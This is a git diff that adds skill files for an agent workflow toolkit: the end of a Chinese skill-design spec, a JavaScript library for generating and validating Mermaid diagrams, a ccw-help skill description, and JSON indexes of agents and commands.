+  const results = {
+    completeness: checkCompleteness(workDir),
+    consistency: checkConsistency(workDir),
+    depth: checkDepth(workDir),
+    readability: checkReadability(workDir)
+  };
+
+  results.overall = Object.values(results).reduce((a, b) => a + b) / 4;
+  
+  return {
+    score: results.overall,
+    gate: results.overall >= 80 ? 'pass' : 
+          results.overall >= 60 ? 'review' : 'fail',
+    details: results
+  };
+}
+```
+
+---
+
+## 11. 最佳实践清单
+
+### 11.1 Skill 设计
+
+- [ ] **单一职责**: 每个 Skill 专注一个领域
+- [ ] **清晰入口**: SKILL.md 完整描述目标和流程
+- [ ] **阶段分解**: 复杂任务拆分为 3-7 个阶段
+- [ ] **顺序命名**: 使用数字前缀控制执行顺序
+
+### 11.2 Phase 设计
+
+- [ ] **明确目标**: 每个 Phase 有清晰的输入输出
+- [ ] **独立可测**: 每个 Phase 可单独调试
+- [ ] **链接下一步**: 明确说明后续阶段
+
+### 11.3 Prompt 设计
+
+- [ ] **角色明确**: 使用 `[ROLE]` 定义 Agent 身份
+- [ ] **任务具体**: 使用 `[TASK]` 明确执行目标
+- [ ] **约束清晰**: 使用 `[CONSTRAINTS]` 定义边界
+- [ ] **返回简洁**: Agent 返回路径+摘要，非完整内容
+
+### 11.4 质量控制
+
+- [ ] **规范驱动**: 使用 `specs/` 定义可验证的标准
+- [ ] **汇总检查**: 设置 Consolidation 阶段交叉验证
+- [ ] **问题分级**: 区分 Error/Warning/Info
+- [ ] **迭代优化**: 支持用户反馈循环
+
+---
+
+## 12. 示例模板
+
+### 12.1 新 Skill 快速启动模板
+
+```bash
+# 创建 Skill 目录结构
+mkdir -p my-skill/{phases,specs,templates,scripts}
+
+# 创建核心文件
+touch my-skill/SKILL.md
+touch my-skill/phases/{01-collection,02-analysis,03-assembly}.md
+touch my-skill/specs/{requirements,quality-standards}.md
+touch my-skill/templates/agent-base.md
+```
+
+### 12.2 SKILL.md 最小模板
+
+```markdown
+---
+name: my-skill
+description: Generate XXX. Triggers on "keyword1", "keyword2".
+allowed-tools: Task, AskUserQuestion, Read, Bash, Glob, Grep, Write
+---
+
+# My Skill
+
+Generate XXX through multi-phase analysis.
+
+## Execution Flow
+
+1. Phase 1: Collection → config.json
+2. Phase 2: Analysis → sections/*.md
+3. Phase 3: Assembly → output.md
+
+## Reference Documents
+
+| Document | Purpose |
+|----------|---------|
+| [phases/01-collection.md](phases/01-collection.md) | 信息收集 |
+| [phases/02-analysis.md](phases/02-analysis.md) | 代码分析 |
+| [phases/03-assembly.md](phases/03-assembly.md) | 文档组装 |
+```
+
+---
+
+## 附录 A: 设计对比
+
+| 设计点 | software-manual | copyright-docs |
+|--------|-----------------|----------------|
+| 阶段数 | 6 | 5 |
+| 并行 Agent | 6 | 6 |
+| 输出格式 | HTML | Markdown |
+| 质量检查 | 4 维度评分 | CPCC 合规检查 |
+| 截图支持 | Chrome MCP | 无 |
+| 迭代优化 | 用户反馈循环 | 合规验证循环 |
+
+## 附录 B: 工具依赖
+
+| 工具 | 用途 | 适用 Skill |
+|------|------|------------|
+| `Task` | 启动子 Agent | 所有 |
+| `AskUserQuestion` | 用户交互 | 所有 |
+| `Read/Write/Glob/Grep` | 文件操作 | 所有 |
+| `Bash` | 脚本执行 | 需要自动化 |
+| `mcp__chrome__*` | 浏览器截图 | UI 相关 |
+
+---
+
+*规范版本: 1.0*  
+*基于: software-manual, copyright-docs*  
+*最后更新: 2026-01-03*

.claude/skills/_shared/mermaid-utils.md

@@ -0,0 +1,584 @@
+# Mermaid Utilities Library
+
+Shared utilities for generating and validating Mermaid diagrams across all analysis skills.
+
+## Sanitization Functions
+
+### sanitizeId
+
+Convert any text to a valid Mermaid node ID.
+
+```javascript
+/**
+ * Sanitize text to valid Mermaid node ID
+ * - Only alphanumeric and underscore allowed
+ * - Cannot start with number
+ * - Truncates to 50 chars max
+ * 
+ * @param {string} text - Input text
+ * @returns {string} - Valid Mermaid ID
+ */
+function sanitizeId(text) {
+  if (!text) return '_empty';
+  return text
+    .replace(/[^a-zA-Z0-9_\u4e00-\u9fa5]/g, '_')  // Allow Chinese chars
+    .replace(/^[0-9]/, '_$&')                      // Prefix number with _
+    .replace(/_+/g, '_')                           // Collapse multiple _
+    .substring(0, 50);                             // Limit length
+}
+
+// Examples:
+// sanitizeId("User-Service") → "User_Service"
+// sanitizeId("3rdParty") → "_3rdParty"
+// sanitizeId("用户服务") → "用户服务"
+```
+
+### escapeLabel
+
+Escape special characters for Mermaid labels.
+
+```javascript
+/**
+ * Escape special characters in Mermaid labels
+ * Uses HTML entity encoding for problematic chars
+ * 
+ * @param {string} text - Label text
+ * @returns {string} - Escaped label
+ */
+function escapeLabel(text) {
+  if (!text) return '';
+  return text
+    .replace(/"/g, "'")                            // Avoid quote issues
+    .replace(/\(/g, '#40;')                        // (
+    .replace(/\)/g, '#41;')                        // )
+    .replace(/\{/g, '#123;')                       // {
+    .replace(/\}/g, '#125;')                       // }
+    .replace(/\[/g, '#91;')                        // [
+    .replace(/\]/g, '#93;')                        // ]
+    .replace(/</g, '#60;')                         // <
+    .replace(/>/g, '#62;')                         // >
+    .replace(/\|/g, '#124;')                       // |
+    .substring(0, 80);                             // Limit length
+}
+
+// Examples:
+// escapeLabel("Process(data)") → "Process#40;data#41;"
+// escapeLabel("Check {valid?}") → "Check #123;valid?#125;"
+```
+
+### sanitizeType
+
+Sanitize type names for class diagrams.
+
+```javascript
+/**
+ * Sanitize type names for Mermaid classDiagram
+ * Removes generics syntax that causes issues
+ * 
+ * @param {string} type - Type name
+ * @returns {string} - Sanitized type
+ */
+function sanitizeType(type) {
+  if (!type) return 'any';
+  return type
+    .replace(/<[^>]*>/g, '')           // Remove generics <T>
+    .replace(/\|/g, ' or ')            // Union types
+    .replace(/&/g, ' and ')            // Intersection types
+    .replace(/\[\]/g, 'Array')         // Array notation
+    .substring(0, 30);
+}
+
+// Examples:
+// sanitizeType("Array<string>") → "Array"
+// sanitizeType("string | number") → "string or number"
+```
+
+## Diagram Generation Functions
+
+### generateFlowchartNode
+
+Generate a flowchart node with proper shape.
+
+```javascript
+/**
+ * Generate flowchart node with shape
+ * 
+ * @param {string} id - Node ID
+ * @param {string} label - Display label
+ * @param {string} type - Node type: start|end|process|decision|io|subroutine
+ * @returns {string} - Mermaid node definition
+ */
+function generateFlowchartNode(id, label, type = 'process') {
+  const safeId = sanitizeId(id);
+  const safeLabel = escapeLabel(label);
+  
+  const shapes = {
+    start: `${safeId}(["${safeLabel}"])`,           // Stadium shape
+    end: `${safeId}(["${safeLabel}"])`,             // Stadium shape
+    process: `${safeId}["${safeLabel}"]`,           // Rectangle
+    decision: `${safeId}{"${safeLabel}"}`,          // Diamond
+    io: `${safeId}[/"${safeLabel}"/]`,              // Parallelogram
+    subroutine: `${safeId}[["${safeLabel}"]]`,      // Subroutine
+    database: `${safeId}[("${safeLabel}")]`,        // Cylinder
+    manual: `${safeId}[/"${safeLabel}"\\]`          // Trapezoid
+  };
+  
+  return shapes[type] || shapes.process;
+}
+```
+
+### generateFlowchartEdge
+
+Generate a flowchart edge with optional label.
+
+```javascript
+/**
+ * Generate flowchart edge
+ * 
+ * @param {string} from - Source node ID
+ * @param {string} to - Target node ID
+ * @param {string} label - Edge label (optional)
+ * @param {string} style - Edge style: solid|dashed|thick
+ * @returns {string} - Mermaid edge definition
+ */
+function generateFlowchartEdge(from, to, label = '', style = 'solid') {
+  const safeFrom = sanitizeId(from);
+  const safeTo = sanitizeId(to);
+  const safeLabel = label ? `|"${escapeLabel(label)}"|` : '';
+  
+  const arrows = {
+    solid: '-->',
+    dashed: '-.->',
+    thick: '==>'
+  };
+  
+  const arrow = arrows[style] || arrows.solid;
+  return `    ${safeFrom} ${arrow}${safeLabel} ${safeTo}`;
+}
+```
+
+### generateAlgorithmFlowchart (Enhanced)
+
+Generate algorithm flowchart with branch/loop support.
+
+```javascript
+/**
+ * Generate algorithm flowchart with decision support
+ * 
+ * @param {Object} algorithm - Algorithm definition
+ *   - name: Algorithm name
+ *   - inputs: [{name, type}]
+ *   - outputs: [{name, type}]
+ *   - steps: [{id, description, type, next: [id], conditions: [text]}]
+ * @returns {string} - Complete Mermaid flowchart
+ */
+function generateAlgorithmFlowchart(algorithm) {
+  let mermaid = 'flowchart TD\n';
+  
+  // Start node
+  mermaid += `    START(["开始: ${escapeLabel(algorithm.name)}"])\n`;
+  
+  // Input node (if has inputs)
+  if (algorithm.inputs?.length > 0) {
+    const inputList = algorithm.inputs.map(i => `${i.name}: ${i.type}`).join(', ');
+    mermaid += `    INPUT[/"输入: ${escapeLabel(inputList)}"/]\n`;
+    mermaid += `    START --> INPUT\n`;
+  }
+  
+  // Process nodes
+  const steps = algorithm.steps || [];
+  for (const step of steps) {
+    const nodeId = sanitizeId(step.id || `STEP_${step.step_num}`);
+    
+    if (step.type === 'decision') {
+      mermaid += `    ${nodeId}{"${escapeLabel(step.description)}"}\n`;
+    } else if (step.type === 'io') {
+      mermaid += `    ${nodeId}[/"${escapeLabel(step.description)}"/]\n`;
+    } else if (step.type === 'loop_start') {
+      mermaid += `    ${nodeId}[["循环: ${escapeLabel(step.description)}"]]\n`;
+    } else {
+      mermaid += `    ${nodeId}["${escapeLabel(step.description)}"]\n`;
+    }
+  }
+  
+  // Output node
+  const outputDesc = algorithm.outputs?.map(o => o.name).join(', ') || '结果';
+  mermaid += `    OUTPUT[/"输出: ${escapeLabel(outputDesc)}"/]\n`;
+  mermaid += `    END_(["结束"])\n`;
+  
+  // Connect first step to input/start
+  if (steps.length > 0) {
+    const firstStep = sanitizeId(steps[0].id || 'STEP_1');
+    if (algorithm.inputs?.length > 0) {
+      mermaid += `    INPUT --> ${firstStep}\n`;
+    } else {
+      mermaid += `    START --> ${firstStep}\n`;
+    }
+  }
+  
+  // Connect steps based on next array
+  for (const step of steps) {
+    const nodeId = sanitizeId(step.id || `STEP_${step.step_num}`);
+    
+    if (step.next && step.next.length > 0) {
+      step.next.forEach((nextId, index) => {
+        const safeNextId = sanitizeId(nextId);
+        const condition = step.conditions?.[index];
+        
+        if (condition) {
+          mermaid += `    ${nodeId} -->|"${escapeLabel(condition)}"| ${safeNextId}\n`;
+        } else {
+          mermaid += `    ${nodeId} --> ${safeNextId}\n`;
+        }
+      });
+    } else if (!step.type?.includes('end')) {
+      // Default: connect to next step or output
+      const stepIndex = steps.indexOf(step);
+      if (stepIndex < steps.length - 1) {
+        const nextStep = sanitizeId(steps[stepIndex + 1].id || `STEP_${stepIndex + 2}`);
+        mermaid += `    ${nodeId} --> ${nextStep}\n`;
+      } else {
+        mermaid += `    ${nodeId} --> OUTPUT\n`;
+      }
+    }
+  }
+  
+  // Connect output to end
+  mermaid += `    OUTPUT --> END_\n`;
+  
+  return mermaid;
+}
+```
+
+## Diagram Validation
+
+### validateMermaidSyntax
+
+Comprehensive Mermaid syntax validation.
+
+```javascript
+/**
+ * Validate Mermaid diagram syntax
+ * 
+ * @param {string} content - Mermaid diagram content
+ * @returns {Object} - {valid: boolean, issues: string[]}
+ */
+function validateMermaidSyntax(content) {
+  const issues = [];
+  
+  // Check 1: Diagram type declaration
+  if (!content.match(/^(graph|flowchart|classDiagram|sequenceDiagram|stateDiagram|erDiagram|gantt|pie|mindmap)/m)) {
+    issues.push('Missing diagram type declaration');
+  }
+  
+  // Check 2: Undefined values
+  if (content.includes('undefined') || content.includes('null')) {
+    issues.push('Contains undefined/null values');
+  }
+  
+  // Check 3: Invalid arrow syntax
+  if (content.match(/-->\s*-->/)) {
+    issues.push('Double arrow syntax error');
+  }
+  
+  // Check 4: Unescaped special characters in labels
+  const labelMatches = content.match(/\["[^"]*[(){}[\]<>][^"]*"\]/g);
+  if (labelMatches?.some(m => !m.includes('#'))) {
+    issues.push('Unescaped special characters in labels');
+  }
+  
+  // Check 5: Node ID starts with number
+  if (content.match(/\n\s*[0-9][a-zA-Z0-9_]*[\[\({]/)) {
+    issues.push('Node ID cannot start with number');
+  }
+  
+  // Check 6: Nested subgraph syntax error
+  if (content.match(/subgraph\s+\S+\s*\n[^e]*subgraph/)) {
+    // This is actually valid, only flag if brackets don't match
+    const subgraphCount = (content.match(/subgraph/g) || []).length;
+    const endCount = (content.match(/\bend\b/g) || []).length;
+    if (subgraphCount > endCount) {
+      issues.push('Unbalanced subgraph/end blocks');
+    }
+  }
+  
+  // Check 7: Invalid arrow type for diagram type
+  const diagramType = content.match(/^(graph|flowchart|classDiagram|sequenceDiagram)/m)?.[1];
+  if (diagramType === 'classDiagram' && content.includes('-->|')) {
+    issues.push('Invalid edge label syntax for classDiagram');
+  }
+  
+  // Check 8: Empty node labels
+  if (content.match(/\[""\]|\{\}|\(\)/)) {
+    issues.push('Empty node labels detected');
+  }
+  
+  // Check 9: Reserved keywords as IDs
+  const reserved = ['end', 'graph', 'subgraph', 'direction', 'class', 'click'];
+  for (const keyword of reserved) {
+    const pattern = new RegExp(`\\n\\s*${keyword}\\s*[\\[\\(\\{]`, 'i');
+    if (content.match(pattern)) {
+      issues.push(`Reserved keyword "${keyword}" used as node ID`);
+    }
+  }
+  
+  // Check 10: Line length (Mermaid has issues with very long lines)
+  const lines = content.split('\n');
+  for (let i = 0; i < lines.length; i++) {
+    if (lines[i].length > 500) {
+      issues.push(`Line ${i + 1} exceeds 500 characters`);
+    }
+  }
+  
+  return {
+    valid: issues.length === 0,
+    issues
+  };
+}
+```
+
+### validateDiagramDirectory
+
+Validate all diagrams in a directory.
+
+```javascript
+/**
+ * Validate all Mermaid diagrams in directory
+ * 
+ * @param {string} diagramDir - Path to diagrams directory
+ * @returns {Object[]} - Array of {file, valid, issues}
+ */
+function validateDiagramDirectory(diagramDir) {
+  const files = Glob(`${diagramDir}/*.mmd`);
+  const results = [];
+
+  for (const file of files) {
+    const content = Read(file);
+    const validation = validateMermaidSyntax(content);
+    
+    results.push({
+      file: file.split('/').pop(),
+      path: file,
+      valid: validation.valid,
+      issues: validation.issues,
+      lines: content.split('\n').length
+    });
+  }
+
+  return results;
+}
+```
+
+## Class Diagram Utilities
+
+### generateClassDiagram
+
+Generate class diagram with relationships.
+
+```javascript
+/**
+ * Generate class diagram from analysis data
+ * 
+ * @param {Object} analysis - Data structure analysis
+ *   - entities: [{name, type, properties, methods}]
+ *   - relationships: [{from, to, type, label}]
+ * @param {Object} options - Generation options
+ *   - maxClasses: Max classes to include (default: 15)
+ *   - maxProperties: Max properties per class (default: 8)
+ *   - maxMethods: Max methods per class (default: 6)
+ * @returns {string} - Mermaid classDiagram
+ */
+function generateClassDiagram(analysis, options = {}) {
+  const maxClasses = options.maxClasses || 15;
+  const maxProperties = options.maxProperties || 8;
+  const maxMethods = options.maxMethods || 6;
+  
+  let mermaid = 'classDiagram\n';
+
+  const entities = (analysis.entities || []).slice(0, maxClasses);
+  
+  // Generate classes
+  for (const entity of entities) {
+    const className = sanitizeId(entity.name);
+    mermaid += `    class ${className} {\n`;
+
+    // Properties
+    for (const prop of (entity.properties || []).slice(0, maxProperties)) {
+      const vis = {public: '+', private: '-', protected: '#'}[prop.visibility] || '+';
+      const type = sanitizeType(prop.type);
+      mermaid += `        ${vis}${type} ${prop.name}\n`;
+    }
+
+    // Methods
+    for (const method of (entity.methods || []).slice(0, maxMethods)) {
+      const vis = {public: '+', private: '-', protected: '#'}[method.visibility] || '+';
+      const params = (method.params || []).map(p => p.name).join(', ');
+      const returnType = sanitizeType(method.returnType || 'void');
+      mermaid += `        ${vis}${method.name}(${params}) ${returnType}\n`;
+    }
+
+    mermaid += '    }\n';
+    
+    // Add stereotype if applicable
+    if (entity.type === 'interface') {
+      mermaid += `    <<interface>> ${className}\n`;
+    } else if (entity.type === 'abstract') {
+      mermaid += `    <<abstract>> ${className}\n`;
+    }
+  }
+
+  // Generate relationships
+  const arrows = {
+    inheritance: '--|>',
+    implementation: '..|>',
+    composition: '*--',
+    aggregation: 'o--',
+    association: '-->',
+    dependency: '..>'
+  };
+
+  for (const rel of (analysis.relationships || [])) {
+    const from = sanitizeId(rel.from);
+    const to = sanitizeId(rel.to);
+    const arrow = arrows[rel.type] || '-->';
+    const label = rel.label ? ` : ${escapeLabel(rel.label)}` : '';
+    
+    // Only include if both entities exist
+    if (entities.some(e => sanitizeId(e.name) === from) && 
+        entities.some(e => sanitizeId(e.name) === to)) {
+      mermaid += `    ${from} ${arrow} ${to}${label}\n`;
+    }
+  }
+
+  return mermaid;
+}
+```
+
+## Sequence Diagram Utilities
+
+### generateSequenceDiagram
+
+Generate sequence diagram from scenario.
+
+```javascript
+/**
+ * Generate sequence diagram from scenario
+ * 
+ * @param {Object} scenario - Sequence scenario
+ *   - name: Scenario name
+ *   - actors: [{id, name, type}]
+ *   - messages: [{from, to, description, type}]
+ *   - blocks: [{type, condition, messages}]
+ * @returns {string} - Mermaid sequenceDiagram
+ */
+function generateSequenceDiagram(scenario) {
+  let mermaid = 'sequenceDiagram\n';
+
+  // Title
+  if (scenario.name) {
+    mermaid += `    title ${escapeLabel(scenario.name)}\n`;
+  }
+
+  // Participants
+  for (const actor of scenario.actors || []) {
+    const actorType = actor.type === 'external' ? 'actor' : 'participant';
+    mermaid += `    ${actorType} ${sanitizeId(actor.id)} as ${escapeLabel(actor.name)}\n`;
+  }
+
+  mermaid += '\n';
+
+  // Messages
+  for (const msg of scenario.messages || []) {
+    const from = sanitizeId(msg.from);
+    const to = sanitizeId(msg.to);
+    const desc = escapeLabel(msg.description);
+    
+    let arrow;
+    switch (msg.type) {
+      case 'async': arrow = '->>'; break;
+      case 'response': arrow = '-->>'; break;
+      case 'create': arrow = '->>+'; break;
+      case 'destroy': arrow = '->>-'; break;
+      case 'self': arrow = '->>'; break;
+      default: arrow = '->>';
+    }
+
+    mermaid += `    ${from}${arrow}${to}: ${desc}\n`;
+
+    // Activation
+    if (msg.activate) {
+      mermaid += `    activate ${to}\n`;
+    }
+    if (msg.deactivate) {
+      mermaid += `    deactivate ${from}\n`;
+    }
+
+    // Notes
+    if (msg.note) {
+      mermaid += `    Note over ${to}: ${escapeLabel(msg.note)}\n`;
+    }
+  }
+
+  // Blocks (loops, alt, opt)
+  for (const block of scenario.blocks || []) {
+    switch (block.type) {
+      case 'loop':
+        mermaid += `    loop ${escapeLabel(block.condition)}\n`;
+        break;
+      case 'alt':
+        mermaid += `    alt ${escapeLabel(block.condition)}\n`;
+        break;
+      case 'opt':
+        mermaid += `    opt ${escapeLabel(block.condition)}\n`;
+        break;
+    }
+    
+    for (const m of block.messages || []) {
+      mermaid += `        ${sanitizeId(m.from)}->>${sanitizeId(m.to)}: ${escapeLabel(m.description)}\n`;
+    }
+    
+    mermaid += '    end\n';
+  }
+
+  return mermaid;
+}
+```
+
+## Usage Examples
+
+### Example 1: Algorithm with Branches
+
+```javascript
+const algorithm = {
+  name: "用户认证流程",
+  inputs: [{name: "credentials", type: "Object"}],
+  outputs: [{name: "token", type: "JWT"}],
+  steps: [
+    {id: "validate", description: "验证输入格式", type: "process"},
+    {id: "check_user", description: "用户是否存在?", type: "decision", 
+     next: ["verify_pwd", "error_user"], conditions: ["是", "否"]},
+    {id: "verify_pwd", description: "验证密码", type: "process"},
+    {id: "pwd_ok", description: "密码正确?", type: "decision",
+     next: ["gen_token", "error_pwd"], conditions: ["是", "否"]},
+    {id: "gen_token", description: "生成 JWT Token", type: "process"},
+    {id: "error_user", description: "返回用户不存在", type: "io"},
+    {id: "error_pwd", description: "返回密码错误", type: "io"}
+  ]
+};
+
+const flowchart = generateAlgorithmFlowchart(algorithm);
+```
+
+### Example 2: Validate Before Output
+
+```javascript
+const diagram = generateClassDiagram(analysis);
+const validation = validateMermaidSyntax(diagram);
+
+if (!validation.valid) {
+  console.log("Diagram has issues:", validation.issues);
+  // Fix issues or regenerate
+} else {
+  Write(`${outputDir}/class-diagram.mmd`, diagram);
+}
+```

.claude/skills/ccw-help/SKILL.md

@@ -0,0 +1,177 @@
+---
+name: ccw-help
+description: Workflow command guide for Claude Code Workflow (78 commands). Search/browse commands, get next-step recommendations, view documentation, report issues. Triggers "CCW-help", "CCW-issue", "ccw-help", "ccw-issue", "ccw"
+allowed-tools: Read, Grep, Glob, AskUserQuestion
+version: 6.0.0
+---
+
+# CCW-Help Skill
+
+CCW 命令帮助系统，提供命令搜索、推荐、文档查看和问题报告功能。
+
+## Trigger Conditions
+
+- 关键词: "CCW-help", "CCW-issue", "ccw-help", "ccw-issue", "帮助", "命令", "怎么用"
+- 场景: 用户询问命令用法、搜索命令、请求下一步建议、报告问题
+
+## Execution Flow
+
+```mermaid
+graph TD
+    A[User Query] --> B{Intent Classification}
+    B -->|搜索| C[Command Search]
+    B -->|推荐| D[Smart Recommendations]
+    B -->|文档| E[Documentation]
+    B -->|新手| F[Onboarding]
+    B -->|问题| G[Issue Reporting]
+    B -->|分析| H[Deep Analysis]
+
+    C --> I[Query Index]
+    D --> J[Query Relationships]
+    E --> K[Read Source File]
+    F --> L[Essential Commands]
+    G --> M[Generate Template]
+    H --> N[CLI Analysis]
+
+    I & J & K & L & M & N --> O[Synthesize Response]
+```
+
+## Operation Modes
+
+### Mode 1: Command Search 🔍
+
+**Triggers**: "搜索命令", "find command", "planning 相关", "search"
+
+**Process**:
+1. Query `index/all-commands.json` or `index/by-category.json`
+2. Filter and rank results based on user context
+3. Present top 3-5 relevant commands with usage hints
+
+### Mode 2: Smart Recommendations 🤖
+
+**Triggers**: "下一步", "what's next", "after /workflow:plan", "推荐"
+
+**Process**:
+1. Query `index/command-relationships.json`
+2. Evaluate context and prioritize recommendations
+3. Explain WHY each recommendation fits
+
+### Mode 3: Full Documentation 📖
+
+**Triggers**: "参数说明", "怎么用", "how to use", "详情"
+
+**Process**:
+1. Locate command in index
+2. Read source file via `source` path (e.g., `commands/workflow/lite-plan.md`)
+3. Extract relevant sections and provide context-specific examples
+
+### Mode 4: Beginner Onboarding 🎓
+
+**Triggers**: "新手", "getting started", "如何开始", "常用命令"
+
+**Process**:
+1. Query `index/essential-commands.json`
+2. Assess project stage (从0到1 vs 功能新增)
+3. Guide appropriate workflow entry point
+
+### Mode 5: Issue Reporting 📝
+
+**Triggers**: "CCW-issue", "报告 bug", "功能建议", "问题咨询"
+
+**Process**:
+1. Use AskUserQuestion to gather context
+2. Generate structured issue template
+3. Provide actionable next steps
+
+### Mode 6: Deep Analysis 🔬
+
+**Triggers**: "详细说明", "命令原理", "agent 如何工作", "实现细节"
+
+**Process**:
+1. Read source documentation directly
+2. For complex queries, use CLI for multi-file analysis:
+   ```bash
+   ccw cli -p "PURPOSE: Analyze command documentation..." --tool gemini --mode analysis --cd ~/.claude
+   ```
+
+## Index Files
+
+CCW-Help 使用 JSON 索引实现快速查询（无 reference 文件夹，直接引用源文件）：
+
+| 文件 | 内容 | 用途 |
+|------|------|------|
+| `index/all-commands.json` | 完整命令目录 | 关键词搜索 |
+| `index/all-agents.json` | 完整 Agent 目录 | Agent 查询 |
+| `index/by-category.json` | 按类别分组 | 分类浏览 |
+| `index/by-use-case.json` | 按场景分组 | 场景推荐 |
+| `index/essential-commands.json` | 核心命令 | 新手引导 |
+| `index/command-relationships.json` | 命令关系 | 下一步推荐 |
+
+### Source Path Format
+
+索引中的 `source` 字段是从 `index/` 目录的相对路径（先向上再定位）：
+
+```json
+{
+  "name": "workflow:lite-plan",
+  "source": "../../../commands/workflow/lite-plan.md"
+}
+```
+
+路径结构: `index/` → `ccw-help/` → `skills/` → `.claude/` → `commands/...`
+
+## Configuration
+
+| 参数 | 默认值 | 说明 |
+|------|--------|------|
+| max_results | 5 | 搜索返回最大结果数 |
+| show_source | true | 是否显示源文件路径 |
+
+## CLI Integration
+
+| 场景 | CLI Hint | 用途 |
+|------|----------|------|
+| 复杂查询 | `gemini --mode analysis` | 多文件分析对比 |
+| 文档生成 | - | 直接读取源文件 |
+
+## Slash Commands
+
+```bash
+/ccw-help                    # 通用帮助入口
+/ccw-help search <keyword>   # 搜索命令
+/ccw-help next <command>     # 获取下一步建议
+/ccw-issue                   # 问题报告
+```
+
+## Maintenance
+
+### 更新索引
+
+```bash
+cd D:/Claude_dms3/.claude/skills/ccw-help
+python scripts/analyze_commands.py
+```
+
+脚本功能：
+1. 扫描 `commands/` 和 `agents/` 目录
+2. 提取 YAML frontmatter 元数据
+3. 生成相对路径引用（无 reference 复制）
+4. 重建所有索引文件
+
+## System Statistics
+
+- **Commands**: 78
+- **Agents**: 14
+- **Categories**: 5 (workflow, cli, memory, task, general)
+- **Essential**: 14 核心命令
+
+## Core Principle
+
+**⚠️ 智能整合，非模板复制**
+
+- ✅ 理解用户具体情况
+- ✅ 整合多个来源信息
+- ✅ 定制示例和说明
+- ✅ 提供渐进式深度
+- ❌ 原样复制文档
+- ❌ 返回未处理的 JSON

.claude/skills/ccw-help/index/all-agents.json

@@ -0,0 +1,82 @@
+[
+  {
+    "name": "action-planning-agent",
+    "description": "|",
+    "source": "../../../agents/action-planning-agent.md"
+  },
+  {
+    "name": "cli-execution-agent",
+    "description": "|",
+    "source": "../../../agents/cli-execution-agent.md"
+  },
+  {
+    "name": "cli-explore-agent",
+    "description": "|",
+    "source": "../../../agents/cli-explore-agent.md"
+  },
+  {
+    "name": "cli-lite-planning-agent",
+    "description": "|",
+    "source": "../../../agents/cli-lite-planning-agent.md"
+  },
+  {
+    "name": "cli-planning-agent",
+    "description": "|",
+    "source": "../../../agents/cli-planning-agent.md"
+  },
+  {
+    "name": "code-developer",
+    "description": "|",
+    "source": "../../../agents/code-developer.md"
+  },
+  {
+    "name": "conceptual-planning-agent",
+    "description": "|",
+    "source": "../../../agents/conceptual-planning-agent.md"
+  },
+  {
+    "name": "context-search-agent",
+    "description": "|",
+    "source": "../../../agents/context-search-agent.md"
+  },
+  {
+    "name": "doc-generator",
+    "description": "|",
+    "source": "../../../agents/doc-generator.md"
+  },
+  {
+    "name": "issue-plan-agent",
+    "description": "|",
+    "source": "../../../agents/issue-plan-agent.md"
+  },
+  {
+    "name": "issue-queue-agent",
+    "description": "|",
+    "source": "../../../agents/issue-queue-agent.md"
+  },
+  {
+    "name": "memory-bridge",
+    "description": "Execute complex project documentation updates using script coordination",
+    "source": "../../../agents/memory-bridge.md"
+  },
+  {
+    "name": "test-context-search-agent",
+    "description": "|",
+    "source": "../../../agents/test-context-search-agent.md"
+  },
+  {
+    "name": "test-fix-agent",
+    "description": "|",
+    "source": "../../../agents/test-fix-agent.md"
+  },
+  {
+    "name": "ui-design-agent",
+    "description": "|",
+    "source": "../../../agents/ui-design-agent.md"
+  },
+  {
+    "name": "universal-executor",
+    "description": "|",
+    "source": "../../../agents/universal-executor.md"
+  }
+]

.claude/skills/ccw-help/index/all-commands.json

@@ -8,7 +8,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "cli/cli-init.md"
+    "source": "../../../commands/cli/cli-init.md"
   },
   {
     "name": "enhance-prompt",
@@ -19,7 +19,62 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "enhance-prompt.md"
+    "source": "../../../commands/enhance-prompt.md"
+  },
+  {
+    "name": "issue:discover",
+    "command": "/issue:discover",
+    "description": "Discover potential issues from multiple perspectives (bug, UX, test, quality, security, performance, maintainability, best-practices) using CLI explore. Supports Exa external research for security and best-practices perspectives.",
+    "arguments": "<path-pattern> [--perspectives=bug,ux,...] [--external]",
+    "category": "issue",
+    "subcategory": null,
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/issue/discover.md"
+  },
+  {
+    "name": "execute",
+    "command": "/issue:execute",
+    "description": "Execute queue with codex using DAG-based parallel orchestration (solution-level)",
+    "arguments": "[--worktree] [--queue <queue-id>]",
+    "category": "issue",
+    "subcategory": null,
+    "usage_scenario": "implementation",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/issue/execute.md"
+  },
+  {
+    "name": "new",
+    "command": "/issue:new",
+    "description": "Create structured issue from GitHub URL or text description",
+    "arguments": "<github-url | text-description> [--priority 1-5]",
+    "category": "issue",
+    "subcategory": null,
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/issue/new.md"
+  },
+  {
+    "name": "plan",
+    "command": "/issue:plan",
+    "description": "Batch plan issue resolution using issue-plan-agent (explore + plan closed-loop)",
+    "arguments": "--all-pending <issue-id>[,<issue-id>,...] [--batch-size 3] ",
+    "category": "issue",
+    "subcategory": null,
+    "usage_scenario": "planning",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/issue/plan.md"
+  },
+  {
+    "name": "queue",
+    "command": "/issue:queue",
+    "description": "Form execution queue from bound solutions using issue-queue-agent (solution-level)",
+    "arguments": "[--rebuild] [--issue <id>]",
+    "category": "issue",
+    "subcategory": null,
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/issue/queue.md"
   },
   {
     "name": "code-map-memory",
@@ -30,7 +85,18 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/code-map-memory.md"
+    "source": "../../../commands/memory/code-map-memory.md"
+  },
+  {
+    "name": "compact",
+    "command": "/memory:compact",
+    "description": "Compact current session memory into structured text for session recovery, extracting objective/plan/files/decisions/constraints/state, and save via MCP core_memory tool",
+    "arguments": "[optional: session description]",
+    "category": "memory",
+    "subcategory": null,
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/memory/compact.md"
   },
   {
     "name": "docs-full-cli",
@@ -41,7 +107,7 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/docs-full-cli.md"
+    "source": "../../../commands/memory/docs-full-cli.md"
   },
   {
     "name": "docs-related-cli",
@@ -52,7 +118,7 @@
     "subcategory": null,
